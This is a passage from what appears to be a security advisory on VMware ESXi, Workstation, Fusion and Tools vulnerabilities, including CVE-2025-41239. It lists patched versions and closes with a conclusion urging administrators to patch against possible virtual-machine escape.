  • VMware ESXi users must update to ESXi80U3f-24784735, ESXi80U2e-24789317 for 8.x and ESXi70U3w-24784741 for 7.x versions. 
  • VMware Workstation Pro users should update to version 17.6.4 or later. 
  • VMware Fusion users to version 13.6.4 or later. 
  • For VMware Tools, apply the 13.0.1.0 or later, especially for Windows guests where the vSockets vulnerability (CVE-2025-41239) is relevant. 

Conclusion: 


These vulnerabilities pose a serious threat to virtualization security, especially in environments using VMware Workstation and Fusion. A successful exploit could enable attackers to escape the virtual machine and compromise the host system.

Administrators should prioritize patching to avoid exposure and reduce the risk of virtual infrastructure compromise. Regular audits of virtual networking components and least-privilege access controls within guest VMs are also recommended. 

References: 

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